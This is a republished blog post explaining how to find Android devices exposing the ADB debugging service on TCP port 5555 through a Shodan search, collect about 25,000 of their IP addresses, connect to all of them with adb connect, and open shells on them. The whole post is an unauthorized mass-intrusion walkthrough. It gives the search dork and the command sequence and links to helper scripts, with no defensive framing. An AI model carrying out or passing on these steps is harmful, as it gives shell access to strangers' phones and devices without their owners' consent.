Exploiting Android devices running insecure remote ADB service

 3 years ago
source link: https://www.tuicool.com/articles/hit/FFj2y2N
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

( I’m not good at coding. So made multiple scripts :P)

What is ADB?

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device

Usually, developers connect to ADB service installed on Android devices using a USB cable, but it is also possible to use ADB wireless by enabling a daemon server at TCP port 5555 on the device.

Checking on SHODAN using dork

android debug bridge product:”Android Debug Bridge”

Lets grab all the IP’s from shodan api

Made a one-liner bash script to do that for me

Add you api in the script before executing

bash shodan_adb.sh

You can get that here


Got the json response of SHODAN search (total of 305 pages)

One-liner to grep all ips from them and make a single file

bash grep_ip.sh > ip.txt

You can get that here


Got around 25k

Link to the list is here

Next we need to add them to adb using adb connect ip:port

One-liner to add all the IP’s from ip.txt to adb

bash adb_connect.sh

You can get that here


Accessing them

To list all the connected adb use adb devices


Use the script adb.sh to list them in order to access them like it it here

adb $(./adb.sh) shell



About Joyk

Aggregate valuable and interesting links.
Joyk means Joy of geeK